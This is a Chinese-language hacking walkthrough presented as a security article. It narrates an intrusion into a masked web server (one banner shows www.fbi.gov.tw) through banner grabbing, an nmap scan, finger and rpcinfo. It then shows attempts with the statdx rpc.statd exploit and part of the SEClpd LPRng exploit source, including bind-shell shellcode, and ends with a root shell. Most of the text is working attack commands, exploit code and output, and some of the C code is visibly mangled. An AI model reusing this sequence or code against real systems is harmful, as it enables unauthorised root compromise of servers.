加强安全:看清黑客怎样入侵linux

以下是引用片段：
　C:ping www.XXX.com 
　　Pinging www.XXX.com[202.106.184.200] with 32 bytes of data: 
　　Reply from 202.106.184.200: bytes=32 time=541ms TTL=244 
　　Reply from 202.106.184.200: bytes=32 time=620ms TTL=244 
　　Reply from 202.106.184.200: bytes=32 time=651ms TTL=244 
　　Reply from 202.106.184.200: bytes=32 time=511ms TTL=244 
　　Ping statistics for 202.106.184.200: 
　　Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
　　Approximate round trip times in milli-seconds: 
　　Minimum = 511ms, Maximum = 651ms, Average = 580ms 
　　嘻嘻—不但连得上，速度还不错…… 
　　先telnet看看banner： 
      　　C:>telnet www.XXX.com

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C:>ftp www.XXX.com 
　　Connected to www.fbi.gov.tw. 
　　220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready. 
      　　User (www.XXX.com:(none)):

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　C:>telnet xxx.xxx.xxx.xxx 
　　Red Hat Linux release 7.0 (Guinness) 
　　Kernel 2.2.16-22smp on an i686 
　　login: fetdog 
　　Password: 
      　　bash-2.04$

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　bash-2.04$nmap -sT -O www.XXX.com 
　　Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ ) 
　　WARNING! The following files exist and are readable: /usr/local/sha 
　　-services and ./nmap-services. I am choosing /usr/local/share/nmap/ 
　　s for security reasons. set NMAPDIR=. to give priority to files in 
　　irectory 
　　Interesting ports on (www.XXX.com): 
　　(The 1520 ports scanned but not shown below are in state: closed) 
　　Port State Service 
　　25/tcp open smtp 
　　79/tcp open finger 
　　80/tcp open http 
　　111/tcp open sunrpc 
　　113/tcp open auth 
　　443/tcp open https 
　　513/tcp open login 
　　514/tcp open shell 
　　515/tcp open printer 
　　587/tcp open submission 
　　1024/tcp open kdm 
　　TCP Sequence Prediction: Class=random positive increments 
　　Difficulty=3247917 (Good luck!) 
　　Remote operating system guess: Linux 2.1.122 - 2.2.16 
      　　Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds

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　bash-2.04$finger @www.XXX.com 
　　[www.XXX.com] 
      　　No one logged on.

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　bash-2.04$rpcinfo -p www.XXX.com 
　　program vers proto port service 
　　100000 2 tcp 111 rpcbind 
　　100000 2 udp 111 rpcbind 
　　100021 1 udp 1024 nlockmgr 
　　100021 3 udp 1024 nlockmgr 
　　100024 1 udp 1025 status 
      　　100024 1 tcp 1024 status

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　bash-2.04$./statdx -h 
　　statdx by ron1n 
　　Usage: stat [-t] [-p port] [-a addr] [-l len] 
　　[-o offset] [-w num] [-s secs] [-d type] 
　　-t attack a tcp dispatcher [udp] 
　　-p rpc.statd serves requests on [query] 
　　-a the stack address of the buffer is 
　　-l the length of the buffer is [1024] 
　　-o the offset to return to is [600] 
　　-w the number of dwords to wipe is [9] 
　　-s set timeout in seconds to [5] 
　　-d use a hardcoded 
　　Available types: 
　　0 Redhat 6.2 (nfs-utils-0.1.6-2) 
　　1 Redhat 6.1 (knfsd-1.4.7-7) 
　　2 Redhat 6.0 (knfsd-1.2.2-4) 
　　看来并不支持RH7。还是继续尝试，把0-2全部试试看再说!start…… 
　　bash-2.04$stat -d 0 www.XXX.com 
　　buffer: 0xbffff314 length: 999 (+str/+nul) 
　　target: 0xbffff718 new: 0xbffff56c (offset: 600) 
　　wiping 9 dwords 
　　Failed - statd returned res_stat: (failure) state: 21 
　　受挫，再试…… 
　　bash-2.04$stat -d 1 www.XXX.com 
　　buffer: 0xbffff314 length: 999 (+str/+nul) 
　　target: 0xbffff718 new: 0xbffff56c (offset: 600) 
　　wiping 9 dwords 
　　Failed - statd returned res_stat: (failure) state: 21

以下是引用片段：
　bash-2.04$stat -d 1 www.XXX.com 
　　buffer: 0xbffff314 length: 999 (+str/+nul) 
　　target: 0xbffff718 new: 0xbffff56c (offset: 600) 
　　wiping 9 dwords 
      　　Failed - statd returned res_stat: (failure) state: 21

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　/* 
　　* Welcome to http://hlc.cnroot.com/ 
　　* Run: ./SEClpd victim brute -t type 
　　* Try first ./SEClpd victim -t 0 then try the brute. 
　　*/ 
　　#include 
　　#include 
　　#include 
　　#include 
　　#include 
　　#include 
　　#include 
　　#include 
　　#include 
　　#include 
　　#include 
　　#include 
　　#define ADDRESS_BUFFER_SIZE 32+4 
　　#define APPEND_BUFFER_SIZE 52 
　　#define FORMAT_LENGTH 512-8 
　　#define NOPCOUNT 200 
　　#define SHELLCODE_COUNT 1030 
　　#define DELAY 50000 /* usecs */ 
　　#define OFFSET_LIMIT 5000 
　　char shellcode[] = 
　　"x31xdbx31xc9x31xc0xb0x46xcdx80" 
　　"x89xe5x31xd2xb2x66x89xd0x31xc9x89xcbx43x89x5dxf8" 
　　"x43x89x5dxf4x4bx89x4dxfcx8dx4dxf4xcdx80x31xc9x89" 
　　"x45xf4x43x66x89x5dxecx66xc7x45xeex0fx27x89x4dxf0" 
　　"x8dx45xecx89x45xf8xc6x45xfcx10x89xd0x8dx4dxf4xcd" 
　　"x80x89xd0x43x43xcdx80x89xd0x43xcdx80x89xc3x31xc9" 
　　"xb2x3fx89xd0xcdx80x89xd0x41xcdx80xebx18x5ex89x75" 
　　"x08x31xc0x88x46x07x89x45x0cxb0x0bx89xf3x8dx4dx08" 
      　　"x8dx55x0cxcdx80xe8xe3xffxffxff/bin/sh";

以下是引用片段：
　- [+] shell located on www.XXX.com 
　　- [+] Enter Commands at will 
　　Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown 
      　　uid=0(root) gid=7(lp)